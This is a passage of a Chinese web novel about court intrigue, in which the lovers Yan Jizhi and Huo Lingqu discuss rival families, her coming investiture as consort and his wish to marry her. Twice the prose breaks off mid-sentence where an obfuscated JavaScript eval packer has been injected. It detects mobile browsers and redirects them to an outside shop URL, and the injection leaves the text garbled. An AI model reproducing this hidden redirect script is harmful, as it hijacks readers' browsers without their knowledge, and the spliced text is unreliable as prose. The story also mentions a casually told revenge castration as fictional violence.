……当然相同?!佟梦佶心跳加剧,很肯定嫡长兄根本就没死心,还巴望着想做国丈,死命撺掇霍振羽给霍蓁蓁争皇后的宝座可不就是等着将来想让他女儿佟妙兮取而代之吗?这种满心巴望着想做国丈的人能忍受将来自家被弟弟即使是同母亲弟接掌吗? 佟梦佶反复思量都只得到个绝不可能的答案,意识到事态严重,急急平复下就赶回家。 夕阳蹒跚而来,忙忙碌碌将飘飘白云染得浓墨重彩,晚霞在天际盛放最灿烂的收尾,满城雕栏玉砌被镀上的碎金也逐渐渗进夕阳红,不经意间给急促的步调增添几许缓慢。 晏霁之提着食盒回到蔚然居,问清楚姨娘何在,走到奕风楼的阳台就看到霍灵渠红衣翩翩躺靠在罗汉床里看日落,云霞翻卷离聚,衬得美人似在画中游。 “回来啦。”肉香味飘来,霍灵渠循味转头,展颜而笑,放掉手捧的燕窝汤即起身相迎,晏霁之屏退在阳台的婢女们,一手把食盒给她一手揽着她坐回罗汉床里。 食盒内装着炙肉、脆皮烧肉、桃花糖酥和橘肉奶皮薄脆饼,就四样且每样也份量不多,正好做晚膳前的开胃零嘴。霍灵渠瞟眼,拿竹签签块炙肉喂给男人,晏霁之端起茶盏,笑道:“你尝吧,肉热乎着才有滋味,等会儿凉掉嫌油腻就不好吃了。” 霍灵渠嗯声尝炙肉,晏霁之饮下两口香茗,放掉茶盏,拿手绢擦擦唇,抱她亲亲额头,照本宣科般知会她:“济善庵里那位是想治愈伤疤在和身后的主人较量。 明早辰时我送你进潜邸换装,贵妃的册封礼其实不用你做什么,册封章程会由礼部和翰林院的官员们来办,你跪受贵妃的册宝和印玺即可,引礼女官明早会细细给你讲解。 还有宫宴,霍贵妃在众人面前亮相必将是重戏;就怕你又要埋怨我,夜里只让你安寝两个时辰闹得你白日里没精神,我决定今夜亥时就安置让你有个好眠。” “好,哎对了,你的隐疾到底哪年治愈的?”霍灵渠忽闪闪的大眼睛看向他,似是很有求知欲的模样,晏霁之淡定:“醒来后,我就找曾经给我治愈的那位大夫了。” “哦,这样啊,也对。”霍灵渠点点头又猛然诧异:“哎,还是不对,既然你醒来后就找曾经给你治愈的那位大夫,你还能心里没底吗?”她神情古怪:“还用得着跟我验证?” 留她独自在家里,她可真会联想跟她自己相关的事,晏霁之反谴责:“是托词又怎样,你很有意见吗,我还不能碰自己的爱妾吗?早知道我就不该浪费一年多让你慢慢缓和心情,昨晚你可真好意思谢我,你觉得呢?” 霍灵渠默默低头吃炙肉,晏霁之腹诽她装没事人可真行,平复下提醒:“今早册封贵妃的圣旨颁布,霍振羽就跑外祖家商量办法甚至不惜与霍海啸决裂。你进宫后提防庄太妃的同时也注意防范郢国公府,那批死士是由郢国公府派遣的。” “郢国公府?”霍灵渠愣了愣不由惊奇:“你没查错?” “三年前嬴天漾传信来,我查整整两年,一年前陛下在京畿各大营阅兵,我才最终定论。但阿漾和郢国公府没有过节甚至有交情,他想不明白都问是不是查错了?实则我也奇怪,但我相信我没查错,只是当中还有我们不知的内情而已。” 晏霁之端起茶盏喝口,摇头感叹:“揪出庄太妃和武襄侯府四奶奶的牵扯,豁然开朗,我便猜测是庄太妃请动郢国公帮忙;今早我们再聊起令我察觉到之前未曾深思过的谋算,忽然意识到很可能是我想少了,郢国公府可能自始至终就参与其中。” 霍灵渠感到阵凉意,就觉得瘆得慌,当年霍家大火背后究竟藏着多少阴谋? “七年前我朝与契丹战事胶着,打得最惨烈时郢国公率军队和粮草驰援边境,和北境的将士们共同抗击外敌;现今拱卫京畿的十万大军中,三万兵马就是郢国公在统辖。 有回魏王算计穆国公反被将计就计,他在我面前痛骂我伯父,顺势还评价了举国这四位手握重权的国公爷:穆国公奸险,显国公贪狯,护国公愚直,郢国公刚正。” 霍灵渠想问:“尚且能令魏王评价秉直刚正的大臣为何都有可能牵扯进那种卑劣的阴谋中甚至还被你查到在残害无辜,当真知人知面不知心吗?” “利益吧。”沉默下,晏霁之缓缓道:“这四家再加上我晏家,朝野自负高明的聪明人最看好谁家?当然是郢国公府,晏家霍家和薛家直接排除,而护国公府? 护国公镇守北境在军中威望甚高,北境的将士百姓们甚至只认护国公而不知皇帝,授康十九年、授康二十八年,圣人两度想把护国公府拔起都功败垂成,圣人心中莫提有多恨了,几人相信护国公能逃得过还能有将来?唯有郢国公府,一直很稳健。 多少聪明人觉得一时煊赫不过是昙花一现,真正的聪明是计长远,郢国公府多符合那些聪明人看来能笑到最后的潜质呀,郢国公府自家会没有想法吗?” 霍灵渠放掉炙肉和竹签,拿丝绢擦擦唇,捧起瓷盅喝两口燕窝汤,沉默几息时间再放掉燕窝汤转而埋进男人怀里,声音闷闷的:“霍振羽兄妹还要争继后的位置?” 晏霁之闭眼应对,霍灵渠沉思片刻有些执拗地刨底:“霍振羽既知他外祖家不怀好意,为何还能这般依赖佟家甚至宁可闹得自家起内讧?我真的想不通,他不在意将来被佟家暗害还是另有谋算,想利用他们达成自己的目标再等将来除掉?” “你这猜测可惊讶到我了,我还真不信他能有那么深的心思。”晏霁之顺势琢磨:“但你考虑得不无道理,为何呢?有谁能预知到危险还能不担心将来会被害死?” 霍灵渠倦怠得赖在男人怀里,没心思费劲猜测就等他的答案。 晏霁之反复思量得到个荒诞的可能引得他都想笑:“回府前我和佟梦佶聊了会儿,我还认为包括我在内的佟家六名外孙都可悲,现在想来霍振羽就不值得同情。他没那么深的心思,他更不是不担心将来会被佟家暗害而是他不以为然。” “不以为然?”霍灵渠没理解,迷惑抬头看他,晏霁之亲亲美人的脸蛋,语气偏肯定:“别看霍振羽那般仰赖佟家,我说这位表弟心里根本看不起外祖家。 我赌他内心考虑的是:外祖家将来的前程全得靠他。因此即使他知道佟家的心思也认为佟家不敢害他,否则他们的前程就没了,谁会傻得毁掉自己的前途?” 霍灵渠愣愣眨眨眼,感觉被他绕得更迷糊:“我怎么就听不懂你说的,振羽现在只是个金吾卫都没品阶,自己都还没有前程呢怎么会想外祖家的前程得靠他?” 晏霁之端起茶盏慢饮,淡笑教导:“你得按他的思绪去捋他,你不能按你的思绪来考量否则就是你的想法而非他的想法。你想想,谁能放任身边有危险要害自己? 按此反向往前推,可否推断霍振羽的思绪只会是佟家不会或不敢害他;再往前推,在他知道外祖家的心思后凭什么能认为佟家不会或不敢害他?换言之,他认为佟家得忌惮他。这么推论就很通畅了,是他自认掌握着佟家的命脉。” “你推论的逻辑我能理解,也好像没错,但推导出的结论应该是悖论吧,振羽什么心思能觉得他握着佟家的命脉?他自己遇事都得仰赖外祖家呢,这结论本末倒置了吧。” “做国舅爷、位极人臣的心思。”讥诮藏于眉峰,晏霁之淡漠的语调倏然薄凉:“今天霍海啸改半句话重新送给我:我若心疼表弟,当心好心被当做驴肝肺。收忠告时我将信将疑,但现在我信,这位表弟可真经不起被推敲深思。” 霍灵渠愣了愣:“位极人臣?” 晏霁之抬手抚抚美人凝若脂玉的脸蛋,慢慢给她捋:“皇后的兄长就是当朝国舅,身为国舅会是同辈中最有出息的那个吗?霍家愿意捧蓁蓁那段期间,霍振羽难道不能理所当然的认为他将会成为家族最有出息的孙辈吗?” “你推导的逻辑是:振羽认为他会做国舅会位极人臣,故而他认为外祖家的前途得靠他?所以他自认掌控着佟家的命脉这结论不是悖论,而就是他的心思?” 霍灵渠眼中思绪浮动,不赞同道:“他能糊涂至此吗?哪怕霍蓁蓁做了皇后都是靠霍家把她捧上位,照样得仰仗家族而非霍蓁蓁做皇后反而能提携家族;何况最有出息的孙辈,有两位嫡堂兄在前而他自己也没见多出众,他能那么想自己?” 晏霁之点明要害:“以他的作为推他的想法,霍振羽心里看得起霍巨浪和霍海啸吗?” 霍灵渠怔住,沉思几许倏然心惊:“他最显著的行为是还要给他妹妹争继后的位置,为此甚至都不惜敢与嫡长堂兄决裂?” “越过他父亲放话,宁可霍家嫡两房决裂,霍振羽该有多高的心气?”晏霁之纯粹当做笑料逗闷都无语极了:“他还有丝毫自知之明吗?” 霍灵渠握住男人的手,绝美的容颜浮现挣扎和难以置信:“他如此执拗想要做国舅,就是他内心看不起堂兄们而认为他能争取到吗?” “所以,这表弟可真经不起被推敲。”话很讽刺,晏霁之倒没有讽刺的意味反而像作别:“我敢赌霍振羽心里认定的他要做的国舅就等同穆国公的位置,这是何等高位? 我以为这是最合理的可能,一整年,他都在幻想自己即将位极人臣,所以他不惜与霍海啸决裂都要相争;他把自己抬太高,心态放不下来了,他受不住将来得仰堂兄鼻息。” 霍灵渠不想再深究把话题拉回重点:“可佟家是想把姻亲都当做踏脚石,他们得到前途后当然能把外孙搬开,霍振羽又非三岁小儿还能连这点都想不明白吗?” 哪想晏霁之当真点头应和:“能!” 霍灵渠便有点意见了:“你看不起谁呢,我们是要分析霍振羽的想法,不是贬低他。” “霍海啸的父亲乃霍家家主,霍振羽敢与霍海啸决裂是等同要与自家家主决裂吗?他又凭什么越过他的亲爹做主,他有资格代表兴献侯做主吗,你觉得他凭什么?”晏霁之冷笑:“你觉得霍振羽看得起我吗?甚至,你觉得他看得起皇帝吗? 整件事,你认为霍振 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459249|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羽有顾虑过皇帝的想法吗?太后已经给蓁蓁相看过,霍家如果再捧霍蓁蓁登临凤座就是在戏弄皇帝和皇家,算上强抢后位就是两笔账;你以为佟尚书为何在霍家表态给蓁蓁相看后就不再争取,因为没有机会了。 霍家也担不起在皇帝心里记这么两笔账,倘若再捧蓁蓁就是霍家要自绝生路。就算以霍振羽的心思想不到这点,我就问你,霍蓁蓁已经是相看过的姑娘,他凭什么认为皇帝愿意再接受,他自始至终有顾忌过皇帝的意愿吗?你说,这种人会是个怎样的心态?” 霍灵渠细思极恐,不禁倒吸口凉气:“振羽莫非活在幻想里吗?” 晏霁之执起茶壶倒杯茶,饮下半杯茶水,遥望天际晚霞瑰丽美不胜收,感悟道:“也许是蓁蓁想做皇后把他潜藏的心思给彻底激发出来了,若非他本身就藏匿着自己将来要凌驾众人的期许,何至于如此?这实质,就是种极端盲目的自大。” “所以,他对佟家想把他当踏脚石的心思不以为然?”霍灵渠喃喃转圜:“他认为佟家想要前途就只能倚靠他,连得到前途后想除掉他都不可能,而是想要前途就只能靠他;于是他理所当然认为他握着外祖家的命脉,佟家有心思也不敢害他。” “前世里都没看出这层根本,还真是遇真章才能见本质。”言尽于此,晏霁之感伤那点表兄弟情将破裂且难再挽回也消磨殆尽了。 霍灵渠沉默会儿,捧起瓷盅再喝两口燕窝汤,拿丝帕擦擦唇,突然主动吻晏霁之,男人自然得搂她热吻,痴缠许久咬她的唇瓣调侃:“我怎么觉得你像在施舍我?” “明早我就得走,我离开后,还不知道你会旷多久?”霍灵渠捧捧他的脸,柔情浅笑:“我想陪你尽兴虽然这在你有侍妾前对你根本没用,可我就想陪你最后尽兴。” “把最后两字收回。”晏霁之吸吸美人刚消肿的唇瓣,哼笑道:“我可要续前缘的。” 可能是今日的感动入心,可能是得知彼此前世今生的秘密真正交心了令心理上容易接受乃至有依赖感,可能她其实不排斥和这男人携手白头只是理智在作祟,总之比起昨夜的拒绝,霍灵渠此刻真没那么抗拒:“我能出宫时可能都快三十岁了,你还续什么前缘?” “我是肤浅的只在意皮囊吗?”晏霁之反问,霍灵渠很理所当然:“你是啊。” 晏霁之猛地被噎了噎,她哪来的教训这么理所当然误解:“你把这声是给我解释清楚,前世里你二十七八岁时我嫌弃过你吗?” “前世英王府被抄家夺爵,我还美貌尚在,你当然没心思嫌我年岁大,那时你满三十岁还不娶妻你爹都没意见。”霍灵渠真怀疑他争辩这点做甚:“可你就是很挑剔皮囊相貌呀,你挑选伺候的奴婢都得要挑好看的,你将来娶媳妇或者挑妾室,相貌肯定是第一要求。” “我敢发誓前世今生我都只有你一个女人,否则叫我被天打雷劈。”晏霁之另辟蹊径哄,霍灵渠再顺理成章接:“前世里你娘病逝,你要守三年母孝呀。” 晏霁之顿时被噎得都感到憋屈了,深呼吸,脑子飞速转到想找主导权,转眼一个主意,他弯弯眼微笑着吻吻女人诱使:“那么我娶媳妇有多少要求?” 霍灵渠第二就想到得合他心意,但这要求就能包含第一点对相貌的要求,想要合他心意还不知能列出多少要求,这男人有时挑剔得简直叫人发指的,一时就有点答不出。 “我只比你大两岁多,我们年纪相仿还差不多,可若是来个比我小十多岁的女人,我面对她是不是相当于就在提醒自己老?”晏霁之拿她的想法驳她:“我能愿意?” “呃……”多数男人喜爱鲜嫩的小姑娘,但以霍灵渠对晏霁之那挑剔劲儿透透的了解,他还真有可能不愿意找比他小太多岁的女人免得显出他老,可这男人都已经二十七岁,他还能娶到个二十多岁仍待字闺中的姑娘做媳妇吗? “弱冠时你立誓而立之年娶妻,你就没顾虑过吗?” 晏霁之淡淡:“没得选自然只能认,但若有得选,我为何要放手?”再谴责她:“我带你住在竹屋时就是晏家败落,我没心思嫌你吗?按你的意思,前世我丧气得都能终身不娶了,你这般凭空胡思乱想诋毁我合适吗?” “你没心灰意懒,满三十岁时你为何不娶妻?你爹都没反对呢。”霍灵渠辩驳,哪想正中男人下怀,晏霁之乐得抱她热吻,唇瓣相缠暧昧诱惑极了:“我要娶你啊,我那时想局势稳定后就让你怀胎,我们有了孩儿我就能将你扶正,我父亲没意见。” 霍灵渠愣被他憋得俏脸绯红,提提劲儿斥责:“荒谬,你爹怎么可能没意见?” “是我们住进竹屋半年后的事,我没告诉你罢了。钟姨娘怕岁数大起来会难生养而故意怀胎把事情桶出来,晏墉和佟氏的态度和今次相同就是双双要逼我忍。我怕父亲老眼昏花都糊涂了,决定给他醒醒脑,在晏明潜纳钟姨娘为妾的酒宴上,我派晏诺把他阉了。” 晏霁之轻描淡写可把霍灵渠惊到了,她呆愣几息时间后掩唇问:“你说笑的吧?” “傻话,这不是应当的麽。”晏霁之宠溺拉过女人的柔荑,脉脉柔情掩尽对此事的冷意:“我是没碰过钟姨娘可钟姨娘占着我贵妾的名份,他们私通多年,我看在晏墉和佟氏的情面只当做不知道已经够客气;妄想得寸进尺,我还怎么客气?” “可、可你爹?”霍灵渠也说不清是不信还是困惑:“我没察觉到你爹对你有异呀?” “还记得我跟你说过的,我这位父亲要狠心的时候绝对能够狠。”晏霁之笑,笑得喟叹:“在此事后晏墉对我甚至都没有不满,他只是把最疼爱的庶长子给彻底舍掉了。” 霍灵渠惊愕:“舍掉?你是说你爹非但没有替大爷出头,反而趁势就不再管他吗?” “对,任我处置,无论晏明潜是死是活他都不管了,谁能想到?我那时也很震惊,我都做好和晏墉决裂的准备了,谁想到?”晏霁之感慨:“这才意识到我从来没看透过父亲。” “可今回你忍了,你怎么会因为曾经动过狠手就愿意放过?”霍灵渠还是疑惑,晏霁之好看的桃花眼弯成月牙儿,笑意浓浓的反驳:“都报复过了,凭什么我不能发慈悲?” 霍灵渠答得顺畅:“你嫌恶心你啊,曾经报复过是曾经,事情再发生还是会恶心你呀;既然他们恶心你,你怎么可能愿意忍让?这和你曾经报复过是两回事。” 晏霁之哈哈笑起来,凑到她耳畔告诉她真实情况,惊得美人目瞪口呆,霍灵渠咽咽口水,端起瓷盅喝点燕窝汤压压惊:“想说些什么,但好像又没什么可说的。” “该说公平啊。”晏霁之端起茶盏喝两口茶,淡笑陈词重复:“这不是很公平吗?” 霍灵渠叹息声,看黄昏消逝,忽然感觉落寞难受:“该用晚膳了,我们下楼吧。” 晏霁之便抱起她回屋,而他们身后,铺满天际的火红融进越来越多的暮色而愈显黯淡,如被烧红般的金乌在天地彻底昏暗前沉没西山,黑暗以铺天盖地之势卷尽天幕。 58. 第58章 黑夜笼罩人间,熠熠璀璨的繁星随夜空而来,浩浩渺渺在苍穹汇聚出惊艳世人的银河,美得让所有仰望星空的人都愿意称赞声:果真只因天上有啊。 廊檐下盏盏红灯笼迷蒙,仿佛散发着醉意在眷恋家的味道;星辉流泻,转徙过庭前垂丝海棠花深处又溜达向屋檐下烛辉朦胧的红灯笼,偷偷携走丝眷恋闯温暖的屋里。 寝屋里满溢着暖色调的光辉,轻纱帐幔被翻叠拨弄出的褶皱仿佛此间岁月印下的痕。 霍灵渠一袭粉红真丝寝衣走到床榻前,她的发梢还沾着水汽,她边坐边拿巾帕擦青丝,看男人手中把玩的宝石匕首有些眼熟,多看两眼才看清:“你拿我的匕首作甚?” 晏霁之身着雪白中衣半躺靠在床头,闻言他表情嫌弃:“你从哪里买的,难为你从来没让我看到过,今夜收拾行李才把它给拿出来。你想要匕首防身跟我说,用得着留这么柄红绿配珍珠的匕首吗?哦不、不对,你当时什么眼光才能选中这么俗的东西?” 匕首刀鞘镶嵌着红宝石和绿宝石各两颗,红绿宝石外围镶嵌着圈珍珠,俗是有点俗气,但心意很真诚实在。霍灵渠解释:“是他送给我的。” “他?”晏霁之怔了怔意识到:“你心里那位少年郎?” “这是他最喜欢的匕首,原本没有镶珠宝;后来他送给了我,他哥哥知道后跟他说给姑娘家送礼物送珍珠宝石这些比较好,他就把匕首要回去重新镶圈宝石珍珠再给我。” 霍灵渠话落,晏霁之险些忍不住喷笑:“你这位少年郎是个憨憨?”惹得美人伸手拍他,他顺势握住改为把玩美人的柔荑,趁机打探:“这么说那块玉佩是他吸取教训的成果?” “玉佩和长命锁都是大哥哥留给我的遗物,绣花香囊和檀珠手串是桑柔给我保平安的,香囊里有桑柔求的平安符,檀珠手串也供奉在佛前开过光。”霍灵渠视线转向梳妆台上的雕花描金木匣,在英王府多年要离开了,最终带走的竟是她带进府的物件,多少有点感慨。 “我在木匣里放了只海螺。”晏霁之垂眸,把玩着她的柔荑,略微低沉的声音似有涩意:“皇帝肯定不会让你携带任何跟我有牵扯的物件,我想给你准备都不行。但一只海螺没什么起眼更能有许多种说辞,他应该能忽略。” 霍灵渠讶然,拿过宝石匕首,走到梳妆台前打开雕花描金木匣,果然看到比她收拾好时多出只白底红黄纹质地洁净的海螺。她放下匕首,取出海螺恰好能一手握住,且这海螺摸起来光滑舒服,比玉石的触感都没差多少了。 “你哪儿得来的海螺呀?” “在南海边挑的,心血来潮吧,本就想送给你,没什么合适的机会就拖着了。”晏霁之手捧茶盅走到梳妆台前落坐,低头喝茶做掩饰,不想让她看到自己的难受,可惜霍灵渠的思维还没和男人对接:“你还独自去过南海边散心呀,你何时去的?” 晏霁之没好气地放掉茶盅,把女人拉进怀里抱住,捏捏她滑嫩的脸蛋再解释:“我没闲情逸趣独自去南海边游玩。怕被发现端倪,我对晏家和朝局不好有动作,可我还不能悄悄做生意吗?握着往后十多年的先机,我若是白白浪费岂不是傻吗?” “在南海边做生意?”霍灵渠有点好奇:“什么生意呀,做鱼虾买卖吗?” “傻瓜,海里最多的就是鱼虾,除非把海边的鱼虾包揽七七八八,否则能有多少赚头?”晏霁之顺便就扩散件事:“知道桓国公府什么生意最赚吗,又为何愿意承建太微宫?你以为建造座令太上皇满意的宫殿得费多少财宝,桓家的底都给掏空大半了。” “他家被迫承建太微宫?”霍灵渠想想也对,谁家能肯白白做冤大头:“为何事呀?” “授康二十五年,桓国公成为全国首富,有些得意忘形了。”说着,晏霁之搂她调侃:“都说霍家嚣张,真论起来哪能比得过桓家?桓二爷在酒桌上喝多两杯就敢嚷嚷自家从海外得来的新奇玩意儿连皇宫里都没有,再说霍家嚣张置桓家于何地?” 这种事向来可大可小,轻么能轻到当做玩笑揭过,重么也能重到给扣个大不敬的重罪。霍灵渠怀疑:“听起来倒像话赶话的圈套,桓家少爷这是被算计了?” “银两多起来就敢飘飘然,被眼红的人家盯上也算自找。”晏霁之默认道:“当时赶上太微宫营建被搁置,桓国公多精明啊,见缝插针自荐总揽太微宫重建事宜。” “能破财消灾也不算太坏。”霍灵渠把海螺放进木匣,恍然问:“从海外得的新奇玩意儿,那他家是做海外生意,你也是做海外生意吗,有那种能载千百人的大商船和船队?” “有,”晏霁之眼含宠溺亲亲她,稍感惋惜:“前年得到颗品相极佳的黑珍珠,今夜,几番犹豫想给你带上这颗黑珍珠,早知道前年就该给你,好歹还能看你戴戴。” 霍灵渠莫名伤感,抬手抚抚他的脸,想说点高兴的事:“你怎么会想出海做生意,前世里你还亲自出过南海吗?我总觉得你若是没出过海,不会做海外生意。” “这都被你给猜到了。”晏霁之捏捏她的小脸,也抑住伤情配合她笑:“可不,我没有亲自出过海怎么敢想带你出海,不然海上远航你害怕难受,我怎么哄你?” “出趟海要很久吗?”霍灵渠好奇:“这世间,究竟是土地广袤还是海洋更辽阔呀?” 晏霁之失笑:“这问题我可没有准确答案,我只出过海,没看到过海的尽头;但我猜,可能是海洋更辽阔,土地的尽头是海,但还没有人看见过海洋的尽头。” 霍灵渠甜甜嗯声,眉眼弯弯似美人映桃花笑:“海外生意你做些什么买卖呀,大海茫茫不知多少凶险,想来必是有足够的财宝诱惑才能令商贾们冒险,你赚到多少银两了呀?” “我怎么觉得你最后句话才是重点。”晏霁之乐了,抱美人热吻会儿,教导般告诉她:“海外商贸向来是丝绸瓷器最畅销,除此外就看当地的其他紧俏需求。 而需求就是做生意的根本,无论在自己国家内还是和外国人做生意都是同个道理。譬如沿海州府的海货最多,那么需求最大的就是除腥味的调料。” 霍灵渠惊讶:“你还在沿海州府做调料生意呀,你到底有做多少买卖?” “你都是怎么猜的啊?”晏霁之突然有点哭笑不得,猜的要不要这么准?霍灵渠自然道:“你自己说的沿海最大需求是除腥味的调料,你都想到了,你在南海边还有出海的生意,再做调料生意就是顺手的事情,你为何不做?” “行,你懂我!”晏霁之都想给她竖大拇指了,这女人也忒清楚他的德行,可笑过乐过后偏偏心酸翻涌,他掩饰般地拉过她的手给她扳手指头数:“海外生意、调料生意、东南沿海的蚕丝生意和西北的葡萄园皆是我醒来后陆续置办,我父亲不知。” “我都忘记你在西北还有葡萄园呢。”霍灵渠神奇了:“这天南地北的,还有你祖父祖母给你留的产业、获封世子后你爹划给你的世子产业,你顾得过来吗?” 晏霁之扶额:“我若做生意就顾不过来,皇帝坐拥万里山河如何管理?都是用人做事,即使我生意再多又有什么影响,生意遍布天南地北又有什么影响?” “哦~对,我想岔了。”霍灵渠眼中冒星星,俏脸欢喜犹如小孩拿到块爱吃的糖般喜悦:“那你现在有多少身家呀?” 晏霁之心道果然,就她这偷偷摸摸的德行果然想问财,傲娇给她五字:“上床告诉你。” 窗缝里渗入的星辉悄悄撤离,明亮的烛光逐渐迷离,床笫间轻纱缭绕飘晃不休,寻常得和往常夜夜没有丝毫不同的夜晚因为明晨的变故释放着不寻常,是离别伤情。 帐幔恢复静止,晏霁之吻吻美人的唇瓣:“亥时末,要安置了吗?” “怎么觉得你还有事要跟我说?”霍灵渠直觉怀疑,男人应承:“怎样才愿意嫁给我?此事我们还没有谈妥呢,今夜你要是不想给准话,改天我进宫找你商量。” “你该娶个清白的媳妇,何况我既做过贵妃,再嫁是侮辱皇帝尊严,他怎么可能允许?皇帝能放我离宫还能容忍我嫁人吗?”可笑她才想明白,但霍灵渠也觉得幸好:“幸好,我想的也是功成身退后自己清清静静安度余生。” 敏感察觉到这女人刚被他推出条缝隙的心房门很可能又要再紧闭,晏霁之语气骤然迫切:“我不想,如何应付皇帝是我的事,你只管答应愿意嫁给我?” 霍灵渠笑笑拒绝,如此温柔又如此没有商榷余地:“明年就娶媳妇吧,霁之。” 晏霁之气得狠狠吻她,霍灵渠热情回应犹如本能般,男人戛然而止时她还沉浸其中,慢慢感到没有回应,她怔了怔,抬眼看晏霁之臭着脸,便问:“你想安置了?” 这女人装没事人果然拿手!晏霁之再吻住她的唇瓣吮吸恨不得给她咬出齿痕来,气道:“我想要你,我想整夜云雨,我想你能夜夜陪伴我而非进宫做什么贵妃!” 霍灵渠沉默片刻拥被坐起,劝他:“何苦呢,忘了吧,霁之。” “忘?”晏霁之冷笑,把女人抱怀里,风流魅惑的桃花眼在此刻锐利如鹰隼般锁住她:“怎么忘?我想到明日你坐在皇帝身边就嫉妒,我根本不知道要怎么忍这种煎熬。 我们整整十二年,蹉跎六年我才决心碰你会是贪图美色吗?在我以为我的姨母才是你的仇家时,我没想和你厮守终生我能碰你吗?我能忘,前世今生我会只有你一人吗?” 霍灵渠没察觉这番话中的错漏,只问他:“你晏家百年基业不要了吗?” “我自有考量。”晏霁之答,霍灵渠就戳他心肺:“那么你告诉我,你心里有害怕吗,你为何不敢悄悄干预朝堂而只选择做生意?你是不是在怕倘若利用先机搅动朝局,前世的梦靥会提前降临,甚至反而会害得家族不只是抄家夺爵那么简单?” 晏霁之微微愣住,深深看向这个女人仿佛要看进她的心里,霍灵渠当然明白:“你怕,所以你清楚晏家有多险也只能放任,就像放任着魏王查晏家的底。” 那么猝不及防,她就把他多年来只埋心底而不敢奢望能向任何人倾诉的重压给挑破了,晏霁之心中酸酸胀胀,忍住酸涩抱紧她打趣:“所以你怕遭连累才不愿意嫁给我呢?” 霍灵渠还以为已经说服他:“那我们说好了,今夜以后,就忘了吧。” “天高海阔,我带你远走天涯。”晏霁之弯唇轻笑,淡淡的温情萦绕:“晏家不敢退出庙堂是怕放权后被赶尽杀绝,我只怕晏家百年基业被连根拔起而非英王府被抄家夺爵。 你想想你祖父才二三十岁时我曾祖父就已权倾朝野,五十年波云诡谲,晏家早该退了。但如何全身而退是我该思量的问题,你只管答应嫁给我。” 霍灵渠愤愤瞪他,憋闷呵斥:“真不知是你想气我还是我要气你,我不答应。” 晏霁之刚浮现点温情就被她给破坏没了,怀里的女人推开他下床倒水喝,他深呼吸,跟过去也倒茶喝,较劲道:“理由,不能重复。” “我不喜欢你。”霍灵渠张口就给个不重复的理由,再倒杯茶水喝。 晏霁之憋屈想可真想再把这女人狠狠欺负遍,郁闷灌两杯茶后抱她回床里,尽量平心静气恭维她:“不喜欢我,你的品位就喜欢给你送宝石匕首的憨憨?” 霍灵渠听这声憨憨都忍不住再伸手拍他,但没计较这番话反而自省刚才是有些冷硬了,赔不是般告诉他件事:“我想起来,这几年我接到的命令和曾经小同大异。” “我知道。”想吵吵架消消气都吵不起来,晏霁之挫败:“你做细作还有点素养吗?”瞧这话说的好像被细作查的不是他家,但俩人在这点上能达成共识也是厉害了,霍灵渠反驳:“这又没有泄露我接到的命令,我做细作怎么就没有素养了?” “对,前世你可是有蒙骗我八年。”晏霁之恭维,霍灵渠抿抿唇不想说话了,下瞬猛然意识到不对劲:“你就没还击吗?按你的脾气,你肯定不会忍也没理由忍啊,怕被发现端倪,你对晏家和朝局没什么举动,可你放任魏王查晏家又不代表你不能暗中给他还击。” 晏霁之称赞她:“你可真聪明。” 于是乎霍灵渠静默几息时间后拉过锦被准备安寝,晏霁之瞟瞟她,略微挣扎下后凑过去把女人抱在怀里,会挣扎是因为自觉有那么一丢丢打脸而非怕霍灵渠跟他闹,相处多年还能不清楚吗?女人脾气好,她躺被窝里想睡觉时刚才被呛就翻篇了。 “睡吧。”回抱男人陪他亲热会儿,热吻毕,霍灵渠闭眼找个舒服的睡姿就想睡了。 “灵渠,你我是彼此的唯一。”晏霁之暂且若不能说服她,先给她埋膈应:“我连有别的男人靠近你周身两尺范围都生气,假若我哪天将会对别的女人亲亲抱抱,把我们做过的所有亲热举动再对别的女人,你当真丝毫不在意?” 霍灵渠惊讶睁眼,自幼看惯男子妻妾成群,何况她童年接受的就是正妻的教育,从未觉得有何不对,这问题可把她给问愣住了:“你还想一生一世一双人?” 你不想是吧?!晏霁之哄道:“如若你心里那个少年郎和别的姑娘卿卿我我,你敢发誓你看到能不吃味嫉妒?既然想嫁给他,你敢说你没想过和他一生一世一双人?” “没有呀。”霍灵渠神态率真且真诚极了:“他愿意娶我,我嫁给他;如果他又有喜欢的姑娘,我当然安排给他纳妾呀,我为何要嫉妒?我做为正妻怎么能善妒呢。” 你可真够贤惠的!晏霁之气闷地吻她咬她唇瓣教:“为何嫉妒?因为喜欢就会想独占,喜欢就会想要让喜欢的人仅仅只属于自己。” “没有呀。”霍灵渠认真反驳:“你怎么会这么狭隘?我喜欢六哥哥,我就从来没想过要独占六哥哥让他只属于我;如果六哥哥娶我以后又喜欢别人,我给他纳妾才是啊。” “你和老六是在玩小孩过家家呢!”晏霁之愣是被气得飚高音,可算察觉问题多严重了,这是观念冲突,更是这女人压根儿还不懂男女情爱滋味。 霍灵渠觑他眼,收起反驳的心思转而问疑惑:“你说嫉妒生气的,是指你喜欢我吗?” 晏霁之冷静下表扬她:“难得,你还有这点自知之明。”这么说时他可绝对没想过他也是三四个月前才审视自己明白自己的心意,撇开对喜欢的理解的分歧,俩人其实半斤八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两人都梳妆好,晏霁之牵着她的手去暖阁用早膳;早膳丰盛,但可能两人都没有食欲,各自不约而同只喝碗燕窝就罢。而早膳过后,霍灵渠独自回寝屋拿行李。 其实哪儿有什么行李?就只木匣,晏霁之担心她抱着会硌,又给她在包袱里塞块羊绒;可多叠块羊绒又能多多少呢,她抱在怀里都觉得轻,可不知怎的,眼泪就这么夺眶而出了,她心里沉重得直想抱着包裹哭一场。 昨夜还能有轻松,今早醒来便只剩沉重,沉重得想强颜欢笑都提不起半点笑意。 